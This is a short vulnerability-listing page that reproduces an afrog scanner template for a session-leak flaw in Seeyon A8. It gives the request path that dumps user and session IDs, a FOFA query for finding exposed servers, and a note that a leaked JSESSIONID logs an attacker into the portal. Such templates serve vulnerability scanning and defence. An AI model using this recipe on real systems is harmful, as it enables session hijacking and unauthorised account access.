seeyon-session-leak: Seeyon session leakage

2025-08-01 Seeyon PoC Public

Description

确定漏洞，使用session登录主页即可 (http://x.x.x.x/yyoa/portal/portalIndex.jsp), Cookie(JSESSIONID=XXXXXXXXXXXXXXXXXXXXXXXXXX)

fofa: "app=\"Seeyon-A8\""

PoC

id: seeyon-session-leak

info:
  name: Seeyon session leakage
  author: sakura404x
  severity: high
  verified: true
  description: |-
    确定漏洞，使用session登录主页即可 (http://x.x.x.x/yyoa/portal/portalIndex.jsp), Cookie(JSESSIONID=XXXXXXXXXXXXXXXXXXXXXXXXXX)
    fofa: "app=\"Seeyon-A8\""
  reference:
    - https://mp.weixin.qq.com/s/V1bp8NedoNULf4G4cq8X1g
  tags: seeyon,disclosure
  created: 2023/10/29

rules:
  r0:
    request:
      method: GET
      path: /yyoa/ext/https/getSessionList.jsp?cmd=getAll
    expression: response.status == 200 && response.body.bcontains(b"<usrID>") && response.body.bcontains(b"<sessionID>")
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/disclosure/seeyon-session-leak.yaml

References

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